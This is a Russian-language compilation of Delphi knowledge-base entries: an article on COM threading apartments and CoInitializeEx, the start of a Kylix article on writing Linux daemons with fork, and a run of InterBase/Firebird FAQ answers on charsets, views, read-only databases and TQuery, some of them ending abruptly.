Первое интуитивно понятно: объект COM может существовать только в том случае, если он создан, объект COM может быть создан только в том случае, если поток желает создать его.

Второе легко понять, применив Правило #2, т.е., если каждый поток, который нуждается во взаимодействии с COM, должен войти в подразделение или инициализировать его, то, следовательно, это подразделение, так сказать, является вместилищем потока.

Третье, подразделения живут в процессах, может не очень легко "визуализовать" до тех пор, пока Вы не начнете писать код, взаимодействующий с подразделениями. Не беспокойтесь, что Вы пока не согласны со мной в том, что подразделения живут в процессах, это придет позже, когда у Вас появится некоторый опыт, а сейчас просто запомните это правило, так как оно понадобится для понимания нижеследующих концепций.

Правило #4: Если клиентское приложение COM задает потоковую модель, не того типа, т.е. несовместимую с типом потоковой модели сервера COM, сам COM гарантирует, что клиент и сервер будут все равно правильно взаимодействовать друг с другом. Другими словами, COM будет учитывать мнение клиента о том, как он может управлять потоками, и также COM будет учитывать мнение сервера о том, как он может управлять потоками. COM возьмет на себя ответственность за "бесшовную" совместную работу клиента с сервером без каких-либо дополнительных усилий по разработке со стороны программиста. Но Вы можете спросить, как COM может делать это? В действительности ответ очень прост:

Правила #1 и #2 предполагают, что если Вы однажды определили потоковую модель и тип подразделения (подразделений), с которыми работает Ваше приложение, то Вы тем самым заключили обоюдное соглашение с COM в том, что Вы и COM должным образом все подготовили в соответствии с правилами. Например, если Вы говорите COM, что Вы хотите поддерживать только однопотоковую модель, то Вы говорите "Эй, COM. Я гарантирую тебе, что я могу обрабатывать любые запросы только в одном потоке. Если ты нуждаешься во мне, ты можешь делать все только в одном потоке. Не допускай ко мне множественные потоки, так как я не готов обрабатывать их!" COM принимает эти слова как молитву и будьте уверены без дополнительных вопросов, что все Ваши запросы будут удовлетворены. Это означает, что если есть два приложения, клиент и сервер, каждое из которых сказал COM, что он может и что не может делать, то COM обезопасит Вас от кровавых разборок между ними, обеспечив тем самым, что запросы будут правильно восприниматься с обоих сторон, когда они начнут взаимодействовать друг с другом. Если COM не делал бы этого, то потоковая работа COM была бы сущим кошмаром. Подумайте об этом!

Так, где это мы сейчас? Мы установили очень важные базовые правила поведения потоков в COM. Если Вы успели заметить, все это было чистой теорией. Я умышленно сделал это, так как когда я исследовал и изучал эту тему, мне пришлось пройти через большое количество программного кода, который не имел никакого смысла. Поверьте мне, Вы не хотите этого делать и даже использовать его до тех пор, пока Вы не поймете наконец, что этот код делает. Если Вы делали это, то Вы уже познакомились с потенциальными проблемами в Ваших приложениях, и Вы можете насчитать множество часов, проведенных за отладкой, пока Вы однажды не открыли для себя, что использование потоков в COM чревато трудно находимыми ошибками. В конце концов я понял, что следует усвоить основы прежде, чем написать некий код, который будет что-либо делать с потоками в COM. Теперь я бы хотел, чтобы Вы внимательно перечитали все то, что мы уже узнали, чтобы быть уверенным, что Вы, по крайней мере, поняли, о чем же идет речь. Если Вы чувствуете себя уверенно после изучения первых четырех правил, то Вы должны быть готовы двигаться дальше к следующим частям, где мы сконцентрируемся на специфических деталях, окружающих первые четыре правила. Готовы?

Модель однопотокового подразделения (the Single Threaded Apartment Model - STA).

В предварительном обсуждении мы установили, что модель STA позволяет Вам разрабатывать многопотоковые приложения COM, в которых каждый поток должен инициализироваться/содержаться внутри своего собственного подразделения. Мы также поняли, что для того, чтобы поток правильно взаимодействовал с COM, он должен сначала войти в подразделение или инициализировать его. Так как же именно поток входит в STA? COM предоставляет функцию CoInitializeEx API для входа потока в подразделение. Синтаксис CoInitializeEx (определенный в ActiveX.pas) следующий:

Function CoInitializeEx (pvReserved : pointer; coInit : longint) : HResult; stdcall;

Параметр pvReserved в данном случае бесполезен и должен быть равен NIL. Параметр coInit определяет тип подразделения, в который поток желает войти. Для модели STA Вы должны передавать в качестве этого параметра константу COINIT_APARTMENTTHREADED. Короче, следует писать следующий вызов:

CoInitializeEx (NIL, COINIT_APARTMENTTHREADED);

Который позволяет потоку Вашего приложения войти в подразделение STA (инициализировать его). Мы также уже знаем, что если поток вошел в подразделение, то он должен выйти из него до своего завершения. Для выхода из подразделения COM предлагает следующий вызов CoUninitialize API, имеющий следующий синтаксис.

Procedure CoUninitialize; stdcall;

Если поток производит вызов CoInitializeEx дважды подряд, то в первом случае возвращается код завершения функции (HResult), равный S_OK. Во второй раз (и во все последующие) будет возвращено значение S_FALSE, при этом никаких действий не производится. Хотя некоторые авторы и не рекомендуют производить лишние вызовы CoInitializeEx (Прим. перев. - так у автора; вероятно должно быть CoUninitialize), мои исследования показывают, что Вам все равно следует обращаться к CoUninitialize ДЛЯ КАЖДОГО вызова CoInitializeEx вне зависимости от того, вернул ли предыдущий вызов S_OK или S_FALSE. Это склоняет меня к мысли, что исполняющая система COM ведет счетчик количества входов в STA одного и того же потока, и позволяет потоку успешно покинуть STA только в том случае, если счетчик входов равен нулю. Например:

Code: Begin. // вход в STA. CoInitializeEx(nil, COINIT_APARTMENTTHREADED); // этот второй вызов организует повторный вход в текущий STA. // (возвращает код завершения ). CoInitializeEx(nil, COINIT_APARTMENTTHREADED); // этот вызов закрывает последний CoInitializeEx, // но выход из STA не производится. CoUninitialize; // этот вызов закрывает первый CoInitializeEx. // и окончательно покидает STA CoUninitialize; End;

Сценарии комбинаций потоковых моделей.

Сценарий #1: Клиент STA и однопотоковый сервер.

Внутренний сервер.

Клиентский поток STA, создающий объект в однопотоковом сервере, принимает прямое подключение к объекту, если этот поток живет в главном STA клиента. В противном случае COM создает объект в главном STA клиента и получает прокси (заместителя) к требуемому потоку. Почему COM поступает так? Ответ простой: однопотоковый сервер сообщил COM, что он может обслуживать поступающие вызовы к своим объектам только в одном потоке. COM заметит это и несомненно выполнит этот однопотоковый запрос, не "потревожив" сервер. Следовательно, любой многопотоковый клиент, желающий сообщить что-либо этому серверу, будет способен сделать это только потому, что COM заставить выполнить этот запрос в одном потоке STA. Для клиента STA COM выберет главный STA в качестве единственного потока STA.

Внешний сервер.

Все клиентские потоки STA будут пользоваться заместителями, маршалируемыми и обслуживаемыми главным (единственным) STA внешнего сервера.

Сценарий #2: Клиент STA и сервер MTA.

Внутренний сервер.

Клиентский поток STA, создающий объект из сервера MTA, получит прокси (заместителя) к этому объекту, маршалированного из созданного COM MTA в клиентском приложении. На первый взгляд это кажется странным, так как по определению объект MTA должен иметь возможность прямого доступа вне зависимости от того, какой поток создан, или откуда к нему производится доступ. Другими словами, почему бы COM не создавать объект непосредственно в STA запрашивающего клиента? Давайте попробуем понять, что произойдет, если COM создаст экземпляр объекта непосредственно в клиентском STA. Если COM создает объект MTA непосредственно в клиенте STA, то с точки зрения клиента, объект живет в этом STA, но с точки зрения сервера объект в действительности живет в MTA, т.е. он выглядит так, как будто он может осуществлять все вызовы из любого потока в любое время. Теперь, если клиент пытается передать интерфейс обратного вызова методу этого объекта MTA (очевидно, что этот интерфейс нужен объекту, расположенному в клиенте, а этот объект поддерживает только STA, так как клиент работает в модели STA) и сервер пытается осуществить обратный вызов через этот интерфейс, то у сервера нет способа узнать, что этот интерфейс не в состоянии обслуживать одновременные вызовы из нескольких потоков сервера (который размещается в MTA). Другими словами клиентский объект, реализующий интерфейс обратного вызова может "задохнуться", если сервер начнет производить одновременные вызовы из разных потоков. Следовательно, создавая объект всозданном COM MTA и передавая прокси (заместителя) обратно к затребовавшему его STA, любые обратные вызовы, исходящие от сервера, будут производиться этим MTA и выстраиваться последовательно через прокси в STA, который содержит объект, обслуживающий обратный вызов.

Внешний сервер.

Все клиентские потоки STA, которым необходимо использование прокси, маршалируются и обслуживаются в MTA внешнего сервера.

Сценарий #3: Клиент MTA и однопотоковый сервер.

Внутренний сервер.

Клиентский поток MTA, создающий объект из однопотокового сервера, будет принимать прокси к этому объекту, маршалированный созданным COM главным STA в клиенте (полагая, что клиент еще не создан главным STA). Очевидно, COM не может допускать прямого создания объектов однопотокового сервера в MTA, так как он не сможет пережить одновременные вызовы из потоков MTA.

Внешний сервер.

Все клиентские потоки MTA будут пользоваться прокси (заместителями), маршалированными и обслуживаемыми главным (единственным) STA внешнего сервера.

Сценарий #4: Клиент MTA и сервер STA.

Внутренний сервер.

Клиентский поток MTA, создающий объект из сервера STA, получит прокси (заместителя) к этому объекту, маршалированного, созданным COM STA в клиентском приложении. Только это имеет смысл, так как сервер сказал COM, что он может поддерживать только STA и поэтому нет способа, чтобы COM прямо создавал объект в MTA, в котором другие потоки MTA преспокойно "завалят" его! Таким образом, если он живет в STA, любые вызовы, производимые потоками MTA, будут выстраиваться последовательно к STA, который, по соглашению, как раз и является тем, с чем может работать сервер.

Внешний сервер.

Все клиентские потоки MTA будут пользоваться прокси, маршалированными и обслуживаемыми в каждом соответствующем STA внешнего сервера.

Сценарий #5: Однопотоковый клиент и сервер STA.

Внутренний сервер.

В этом случае, очевидно, имеется только один главный поток в клиентском приложении, в котором COM будет непосредственно создавать все объекты сервера STA.

Внешний сервер.

Клиентский главный поток STA будет пользоваться прокси, маршалированным и обслуживаемым в каждом соответствующем STA внешнего сервера.

Сценарий #6: Однопотоковый клиент и сервер MTA.

Внутренний вервер.

Этот сценарий является недоделанным вариантом сценария #2, в котором имеется только один STA в клиенте, главный STA. Таким образом, по тем же причинам, что и при сценарии #2, COM будет создавать объект в созданном COM MTA и возвращать прокси к главному потоку STA. Внешний сервер. Клиентский главный поток будет пользоваться прокси, маршалируемым и обслуживаемым в MTA внешнего сервера.

Ну вот мы и рассмотрели все возможные несовместимые комбинации потоковых моделей клиентов и серверов. Мы увидели, как COM предоставляет возможность этим клиентам и серверам работать совместно. Теперь я бы хотел рассказать о необычайно интересном вопросе смешанного использования потоковых моделей. С появлением STA и MTA иногда стала появляться необходимость взаимодействия клиентов и серверов с потоками STA в одних местах и с потоками MTA в других местах внутри одного приложения. Обычно такая потребность появляется по бизнес-причинам, появляющимся при тщательном изучении того, как Ваши клиентское и серверное приложения будут взаимодействовать друг с другом. Например, Ваш сервер может нуждаться в использовании некоторых объектов для решения задач реального времени, в то время как другие не должны (или не могут) работать в режиме "производительности реального времени". В этом случае логично иметь объекты "реального времени", создаваемые в MTA, где они могут реализовать максимальную производительность, и, в то же время, иметь остальные объекты, обслуживаемые в одном или многих STA. То, что я должен описать здесь, называется Смешанная потоковая модель (Mixed Threading Model), обозначая тем самым, что Ваше приложение пользуется комбинацией (смесью) различных потоковых моделей для своих объектов.

В действительности в смешанной модели нет ничего нового. Клиентское приложение может, например, создавать целый букет рабочих потоков, живущих в MTA, в то время как другая группа потоков STA обслуживает какие-то другие потребности.

Серверное приложение также может работать аналогично, т.е. организовывать гроздь объектов в MTA для получения максимальной производительности и, в то же время, порождать кучу потоков STA для других объектов. Мне нет никакой необходимости демонстрировать, как клиент или сервер собирается создавать STA и MTA в рамках единственного процесса, так как Вы уже знакомы с технологией как это делается. Необходимо только создать букет потоков, каждый из которых входит либо в STA, либо в MTA и, бум!, Вы получили смешанную потоковую модель, работающую в Вашем приложении. Об этой смешанной модели важно знать то, что она существует и может оказаться очень удобной для решения каких-то проблем, которые могут встретиться Вам при создании Вами клиентских и серверных приложений. Поддержка смешанной потоковой модели для внешних серверов заключается просто в создании букета потоков и явным указанием для каждого потока его STA или MTA.

Для внутренних серверов, однако, мы можем ожидать, что COM полагается на строковый параметр ThreadingModel, как и в случае однопотокового STA. Сервером объектов может быть использован строковый параметр "ThreadingModel=Both" для указания, что COM может свободно создавать этот объект в STA или в MTA, т.е. он поддерживает как STA, так и MTA.

Но как COM узнает, должен он создавать объект в STA или в MTA? Как я уже говорил ранее, внутренний сервер обычно рассчитывает, что клиентское приложение явно создает потоки STA и MTA, содержащие серверные объекты. В случае, когда "ThreadingModel=Both", подразделение клиентского потока прямо определяет, где COM будет создавать этот объект. Другими словами, если клиентский поток STA создает объект - COM явно создает его в STA. Если клиентский поток MTA создает объект - COM однозначно создаст его в MTA.

©Drkb::04315.

Работает-ли IB с русскими буквами?

Да, как с кодировкой 866 так и с 1251, как из Delphi 1.0, так и из Delphi 2.0. Для того, чтобы в БД в строковых полях использовались русские буквы, необходимо при создании БД указать в качестве дополнительного параметра фразу:

DEFAULT CHARACTER SET WIN1251.

А в BDECFG32 в драйвере IB и его псевдонимах (aliases) указать языковый драйвер Pdox ANSI Cyrillic. Такие установки обеспечат нормальную работу с кодировкой 1251. (в TDatabase.Params этот языковый драйвер указывается как LANGDRIVER=ancyrr).

Для компонент прямого доступа необходимо в параметрах соответствующего компонента XXDatabase дописать.

Lc_ctype=WIN1251.

Дополнительно, если вы предполагаете использовать выражение UPPER в SQL запросах, то Вам потребуется при создании таблиц IB использовать уточнение COLLATION SEQUENCE для строковых полей.

К сожалению, установить COLLATE PXW_CYRL по умолчанию для базы данных невозможно (такой параметр отсутствует). Поэтому таблицы IB, созданные при помощи Database Desktop или компонента TTable не будут иметь правильного COLLATE для работы с функцией SQL UPPER. (Эта проблема, необходимо отметить, не относится к работе с регистром русских букв внутри Delphi, поскольку для этого внутри VCL используются функции Windows, правильно переводящие буквы кодировки 1251 в верхний регистр и обратно.).

Например, если возможен запрос такого типа:

Code: SELECT * FROM CUSTOMERS. WHERE UPPER(NAME) = 'ИВАНОВ'

Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго?

Когда вы открываете набор данных при помощи TTable, BDE производит fetch только такого количества записей, которые помещаются в Grid. Если вы захотели переместиться в конец таблицы, то для большинства SQL-серверов возможно перемещение по записям только вперед - т.е. если вам потребуется поместить указатель в середину таблицы то BDE пришлось-бы заново перечитывать записи с ее начала. Причина такой работы в том, что SQL-серверы в большинстве возвращают результаты запросов в виде последовательных наборов записей. В навигационных БД напротив, возможно физическое позиционирование на любую запись таблицы.

Если SQL-сервер поддерживает двунаправленные скроллируемые курсоры, то полное кэширование записей запроса выполняться BDE не будет.

Кроме этого, TTable и TQuery работают по разному. TQuery при перемещении в конец таблицы действительно сделает выборку всех записей, т.к. он и не может иначе - для выполнения задано конкретное SQL-выражение.

TTable-же напротив, показывает всю таблицу, и запросы для получения содержимого таблицы формируются автоматически. Поэтому TTable при нажатии вами в TDBGrid клавиш Ctrl-End сформирует запрос типа.

Code: SELECT * FROM TABLE ORDER BY INDEXFIELD DESC.

Программирование Интернет приложений в Borland Kylix. Часть I.

Создай своих демонов!

Автор: Андрей Боровский (www.kylixportal.chat.ru)

В этой статье речь пойдет о создании интернет серверов (сетевых демонов) в Linux при помощи среды разработки Kylix и входящего в нее набора компонентов Internet Direct. В качестве примера описывается разработка простого сервера протокола HTTP.

Одной из сильных сторон Delphi и Kylix является возможность быстрой разработки мощных Интернет приложений. С этой целью в состав обеих сред включены наборы готовых компонентов для работы с Интернет. В Delphi 6 и Kylix 1.0 эту функцию выполняет Internet Direct component suite ( Indy ). Indy представляет собой набор классов Object Pascal (существует также версия для Borland C++ Builder) для работы с Интернет. Одни классы, такие как TIdTCPConnection, предоставляют базовые функции для низкоуровневой работы с сервисами Интернет, другие классы, такие как TIdHTTPServer, являются готовыми Интернет серверами или клиентами со встроенной поддержкой всех основных функций соответствующих сетевых протоколов. К достоинствам Indy следует отнести качественный механизм многопоточности (multi-threading), доступный как в Windows, так и в Linux версии. Еще одним достоинством Indy является доступность исходных текстов всех компонентов набора. Indy распространяется под двойным лицензированием, что позволяет создавать на его базе как открытые, так и коммерческие приложения.

Создать простейший Интернет сервер для Windows в Delphi 6 достаточно легко: бросаем в окно формы соответствующий компонент, назначаем пару обработчиков событий и voila: сервер готов! В Linux все выглядит лишь немного сложнее.

Демоны Linux.

Большинство сетевых серверов Linux реализованы в виде демонов. Так, например, популярный web-сервер Apache, это демон протокола HTTP (httpd). Демон (daemon, demon) - это программа, выполняющаяся в фоновом режиме и настроенная на обработку определенного класса событий. После запуска демон находится в состоянии ожидания события. Когда в системе происходит соответствующее событие, демон активизируется и выполняет необходимые действия по его обработке. Важной особенностью демонов является возможность параллельной обработки нескольких событий. Демоны бывают не только сетевыми. Например печатью в Linux управляет демон печати, а записью сообщений в log-файлы - log-демон (logd).

Сетевой демон находится в состоянии ожидания запроса на соединение. Когда такой запрос поступает, демон либо устанавливает соединение и выполняет обработку запроса, либо отказывается установить соединение. Сразу отмечу, что программа-сервер Интернет вовсе не обязательно должна быть демоном. В следующих статьях этой серии мы напишем сервер, обладающий полноценным графическим интерфейсом. Однако, если Вы хотите, чтобы Ваш сервер запускался вместе с операционной системой и выполнялся вне зависимости от того, кто из пользователей работает в системе в данный момент, реализация сервера в форме демона представляется наилучшим вариантом.

Демон, это консольное приложение, выполняющееся в фоновом режиме. Фоновым режимом (background mode) называется такой режим работы программы, в котором приложение не взаимодействует с терминалом. После запуска демон должен переходить в фоновый режим автоматически.

Орудие демона - функция fork.

Прежде чем приступить к программированию демона, следует рассмотреть подробнее функцию fork, которая играет в работе демонов важную роль. В Kylix функция fork объявлена в модуле Libc. Объявление функции выглядит следующим образом:

Function fork: __pid_t; cdecl;

Функция fork создает новый процесс, являющийся точной копией того процесса, из которого она была вызвана. Выполнение нового процесса начинается с точки возврата функции fork. Таким образом после успешного вызова функция fork возвращает значения уже двум процессам. Новый процесс работает так, как если бы он выполнялся с самого начала, вызвал функцию fork и получил ее значение. Оба процесса принадлежат к одной и той же группе и разделяют открытые дескрипторы файлов. Отличить дочерний процесс от родительского можно по значению, возвращаемому функцией fork. Родительскому процессу fork возвращает pid созданного дочернего процесса, тогда как дочернему процессу возвращается значение 0.

Рисунок справа иллюстрирует работу функции fork. Функция fork (в переводе с английского - вилы, вилка) широко используется при программировании демонов. Вот почему демон, изображенный на эмблеме FreeBSD, держит вилы в руках.

Структура демона.

Как было указано выше, демон должен быть консольным приложением. В окне New Items (Вызывается командой File|New...) на вкладке New выбираем элемент Console Application. Открывается окно с заготовкой файла проекта консольного приложения. Этот файл будет содержать все основные элементы создаваемого демона. Обычно имя исполняемого файла демона заканчивается на букву d (htppd, ftpd, crond). Назовем создаваемый проект dhttpd.

Наша первая задача - перевести запущенный демон в фоновый режим. Для этого при помощи fork создается копия процесса демона, а выполнение исходного процесса завершается:

Code: Pid := fork; If pid = -1 then // fork failed. Begin. Perror( PChar('fork 1: ') ); Halt( 1 ); End else. If pid <> 0 then Halt( 0 ); // parent process exits. ...

Как я могу работать с IB с клиентского компьютера?

Можно использовать IB API (либо наборы компонт FreeIBComponents, IBObjects, IBX или FIBPlus, работающие напрямую с IB API), BDE+SQL Links, либо ODBC-драйвер.

Схема обмена данными между этими компонентами следующая.

GDS32.DLL->IB прямое обращение к IB API.

ODBC->GDS32.DLL-> IB работа через ODBC.

BDE->SQL Link->GDS32.DLL->IB работа через BDE.

BDE->ODBC->GDS32.DLL->IB работа через BDE, ODBC вместо SQL Link.

Практически во всех случаях вам не требуется производить какие-либо специфические настройки.

©Drkb::02891.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Можно-ли создать пользователя БД при помощи SQL-команды?

Нет. Единственно правильный способ - использовать Server Manager. (Tasks | User Security), либо утилиту командной строки GSEC, либо IB user API (для IB 5.x). См. www.ibase.ru/download.htm, www.borland.com/devsupport/bde/.

©Drkb::02882.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Есть-ли способ восстановить несохраненные (uncommitted) изменения БД, например в случае отключения питания?

Нет. Такие изменения будут потеряны. Т.е. БД останется в состоянии, соответствующем последней подтвержденной (committed) транзакции. Несохраненные данные в БД останутся в виде "осиротевших" страниц, которые можно очистить при помощи Server Manager, пункт меню Validate Database, или в виде "мусорных" версий записей, которые будут автоматически очищены при очередном чтении данных.

Вполне возможно, что этот вопрос вызван тем, что восстановление состояния БД в IB отличается от других широкораспространенных SQL-серверов (Oracle, Informix, ...). IB не требует выполнения каких-то специфических действий для продолжения работы с БД в случае сбоя питания - изменения, происходящие до COMMIT, не записываются на место актуальных данных (т.е. отсутствует режим Dirty Read), поэтому они будут просто потеряны, а БД останется в рабочем состоянии.

Примечание: считается что транзакция - логический блок действий, переводящий БД из одного целостного состояния в другое. Поэтому даже если сервер позволяет восстановить uncommitted изменения, то делать этого не стоит.

©Drkb::02915.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Можно-ли в запросах делать поиск по BLOB?

Да. Поиск по строковым (CHAR, VARCHAR) полям или по BLOB можно производить при помощи операторов CONTAINING, STARTING WITH и LIKE. Например.

Code: SELECT * FROM MYTABLE. WHERE BLOBFIELD CONTAINING 'sometext';

Можно-ли создать индекс по полю view?

Нет. Индекс должен быть у поля таблицы, входящей во view. View является видом на таблицу или несколько таблиц, поэтому не может иметь физического индекса как у обычной таблицы.

Если вы хотите использовать индексы в компоненте TTable, то делать это нужно не через свойство IndexName, а указывая поле, по которому вы хотите отсортировать таблицу или view, непосредственно в свойстве IndexFieldNames. SQL-сервер сам разберется, есть-ли по такому полю индекс, и сможет-ли он использовать его для ускорения обработки запросов.

©Drkb::02916.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Почему в операторе SELECT для VIEW нельзя использовать ORDER BY?

Вообще независимо от наличия индексов записи в таблице располагаются в том порядке, в котором они добавлялись. Поскольку view представляет из себя "виртуальную" таблицу, то записи также должны быть представлены в произвольном порядке.

©Drkb::02886.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Как скопировать данные между БД?

Такая возможность присуствует в IB 4.0, 4.1 (утилита QLI) однако отсутствует в IB 4.2 и 5.x. В простейшем случае можно обойтись утилитами DATAPUMP или Database Desktop. Также большое количество подобных утилит есть на www.ibase.ru/download.htm. В конце-концов, можно достаточно быстро самому написать программу копирования данных.

©Drkb::02917.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Как избавиться от ошибки multiple rows in singleton select?

Очевидно что данная ошибка происходит в вашем триггере или хранимой процедуре. Обычный SELECT внутри триггера или процедуры должен возвращать одну строку (row), т.к. при двух и более строках IB не знает куда поместить значения полей этих строк. Если ваш SELECT возвращает несколько записей, то нужно пользоваться конструкцией FOR SELECT ... INTO ... DO ... которая производит обработку возвращаемого набора записей в цикле.

Если-же вы уверены, что ваш SELECT должен вернуть только одну запись, а ошибка все-таки возникает, то давайте рассмотрим следующую ситуацию:

Существуют таблицы ORDERS (заказы) и CLIENTS (клиенты).

Обе эти таблицы имеют поле связи CLIENT_ID INTEGER.

Для того чтобы вытащить информацию о клиенте используется запрос:

Code:

Мне нужны временные таблицы, но их нет в IB. Что делать?

IB не расчитан на частое изменение метаданных, поэтому создание таблицы на ходу и ее удаление не является хорошим приемом. Вместо временной таблицы вы можете создать постоянную таблицу для тех-же целей с первым полем равным USER (и входящим в первичный ключ). В этом случае даже если несколько пользователей начнут добавлять записи в такую таблицу, конфликта между ними не будет. Вместо USER можно использовать генератор (generator), который будет действовать на все время работы пользователя. Тогда если ваше приложение не использует регистрацию IB, и все USER одинаковы, генераторы предотвратят конфликт между пользователями.

©Drkb::02918.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

В чем разница между CHAR и VARCHAR ? Что лучше использовать?

Разработчики утверждают, что разницы практически нет - особенности VARCHAR в том, что используется дополнительно два байта для хранения длины, а CHAR игнорирует пробелы в конце хранимой строки.

Если вы собираетесь хранить строки длиной не более 40-50 символов, то лучше использовать CHAR. Более подробно см. статью.

При передаче по сети в текущих версиях IB VARCHAR передается так-же как и CHAR (т.е. неэффективно). Исправлено в IB 5.0.

©Drkb::02919.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Можно-ли поместить БД IB на CD-ROM?

В IB 4.x и 5.x база данных должна быть всегда доступна на запись, т.к. даже простая выборка (чтение) из БД стартует транзакцию, а информация о транзакции должна быть записана в БД.

Возможность работать с read-only базами данных, а следовательно и помещать их на CD-ROM, появилась только в IB 6.0 и Firebird. Для того, чтобы сделать БД read-only, достаточно выполнить команду.

Gfix database.gdb -mode read_only.

Перед этим рекомендуется сделать backup/restore базе данных, предварительно установив флаг no_reserve в true (ключ -use у gfix), чтобы данные в БД были максимально уплотнены.

Также возможно установить режим read_only прямо при restore соответствующей опцией gbak.

Подробнее по режиму read_only см. документацию по IB6.

©Drkb::02892.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Как выполнить create procedure/trigger при помощи TQuery?

Для этого у TQuery нужно установить property ParamCheck:=False. При этом текст запроса не будет проверяться на наличие параметров, которые предваряются двоеточием (:). Никаких других изменений не требуется.

©Drkb::02920.

Borland Interbase / Firebird FAQ.

